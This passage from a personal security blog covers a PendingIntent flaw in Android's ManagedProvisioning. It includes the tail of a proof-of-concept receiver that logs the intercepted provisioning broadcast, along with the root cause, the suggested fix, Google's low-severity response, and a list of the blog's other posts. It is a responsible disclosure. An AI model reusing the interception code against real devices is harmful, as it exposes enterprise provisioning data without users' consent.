 Log.w(TAG, "Action: " + intent.getAction());

 Bundle extras = intent.getExtras();
 if (extras != null) {
 for (String key : extras.keySet()) {
 Log.w(TAG, key + " = " + extras.get(key));
 }
 }
}

No special permissions required.

Video Demo

Your browser does not support the video tag.

The video shows the PoC app intercepting the provisioning callback in real time on a Pixel device. For apps like Google Digital Wellbeing, the intercepted broadcast reveals package details without any permissions on the attacker’s side.

Root Cause

The issue boils down to three compounding decisions in the code:

Mutable PendingIntent — FLAG_MUTABLE allows the intent to be modified
Implicit broadcast — no setPackage(), no explicit component, so any app can register for the action
Predictable action string — the action includes the session ID, which is observable via PackageInstaller.SessionCallback

On U+ builds, FLAG_ALLOW_UNSAFE_IMPLICIT_INTENT is added, which explicitly bypasses the platform’s own safety check. The fix is straightforward: make the callback intent explicit (set a component) or at minimum package-scoped (setPackage()).

What I Did NOT Demonstrate

To be precise about the scope:

No arbitrary code execution
No package replacement or privilege escalation
No confirmed denial of service against provisioning (the success path relies on SessionCallback.onFinished() + ACTION_PACKAGE_ADDED, not this callback alone)

The demonstrated impact is callback interception and information disclosure from a privileged provisioning flow.

Google’s Response

I reported this through the Android & Google Device Vulnerability Reward Program. The report was tracked as Issue 493654042 on Google’s Issue Tracker.

After investigation, the Android Security Team classified it as low severity and marked it as Infeasible for immediate action:

Thank you for taking the time to submit this report to the Android & Google Device Vulnerability Reward Program!

We have investigated this issue and determined that this is low severity.

We have logged this issue for potential remediation in a future version. At this time, this report is considered closed and will no longer be monitored.

— Android Security Team

The issue was logged for potential remediation in a future Android version but is not being actively tracked.

My Take

I understand the “low severity” classification — there’s no RCE, no privilege escalation, and the provisioning flow doesn’t solely depend on this callback. But I think the response undersells the issue:

The code explicitly bypasses a platform safety mechanism (FLAG_ALLOW_UNSAFE_IMPLICIT_INTENT) that exists specifically to prevent this class of bug
Enterprise provisioning metadata shouldn’t be observable by unprivileged apps
The fix is trivial: one line — intent.setPackage(context.getPackageName())

Sometimes the value of security research isn’t in the severity score but in showing that even Google’s own platform code doesn’t always follow Google’s own security guidance.

Tested on: google/husky_beta/husky:CinnamonBun/CP21.260206.011/14911669:user/release-keys

Source: packages/apps/ManagedProvisioning — InstallPackageTask.java

Alessandro Sangiorgi — GPU Performance Engineer

Unboxing Two DGX Sparks, and Recovering One From a Kernel Panic on First Boot

The out-of-box setup flow

The panic

Building the recovery USB

Following the guide — and where mine diverged

Takeaways

Wiring Two DGX Sparks: One Script to Detect, Configure, and Validate the RoCE Link

The hardware reality: four RoCE devices, two of them live

Step 1 — Find the link interface on each box

Step 2 — Put the two rails on their own subnet

Step 3 — The three validations (and the traps in each)

Bandwidth — ib_write_bw (catches the firmware throttle)

Latency — ib_write_lat (the fabric floor)

The real one — a NCCL all-reduce over RoCE (catches the TCP fallback)

The script

What a healthy run looks like

Caveats

The Number Nobody Published: Small-Message NCCL Latency Between Two DGX Sparks

The setup

Baseline 1: bandwidth (so we know the link is healthy)

Baseline 2: the RDMA latency floor

The headline: small-message NCCL all-reduce

Why 40 µs and not 2 µs?

Why this number is the one that matters

The traps that silently corrupt the result

Caveats

From a Student Side Project to a Google Success Story

It started as a way to learn

Free, but it still has to eat

What it became

Two time zones, one alarm clock

The only advice I actually believe

FLAG_MUTABLE PendingIntent in DeviceAsWebcam Allows Foreground Activity Hijack via fillIn() Injection

The Vulnerable Code

Why This Is Exploitable: How fillIn() Works

The PendingIntent Survives Notification Redaction

The Exploit Chain

Confirmed on Real Hardware

Impact

Scope Limitation

Video Demo

Suggested Fix

Android Security Team Response

Retrieving the ARP Table on Android SDK 30+ via Netlink

Background: Netlink and RTNetlink

The Workaround: Skip the Bind

Creating the Socket and Sending the Request

Receiving and Parsing the Response

Extracting Neighbor Entries

SELinux Closes the Door

The Ubiquiti Story

Source Code

Blocking WiFi De-Auth Attacks in the Kernel with eBPF and XDP

Why Not Just Use libpcap or 802.11w?

Patching mac80211 for XDP Support

iface.c: The ndo_bpf Callback

rx.c: XDP Execution in the Receive Path

The eBPF De-Auth Detector

Evaluation

eBPF vs. libpcap: Detection Time

eBPF/XDP vs. 802.11w: Throughput Under Attack

The OpenWrt Integration

Limitations and Future Work

Source Code

Intercepting Android's ManagedProvisioning: A PendingIntent Vulnerability in AOSP

The Bug

Why This Matters

Proof of Concept

Video Demo

Root Cause

What I Did NOT Demonstrate

Google’s Response

My Take

Bandwidth — `ib_write_bw` (catches the firmware throttle)

Latency — `ib_write_lat` (the fabric floor)

`iface.c`: The `ndo_bpf` Callback

`rx.c`: XDP Execution in the Receive Path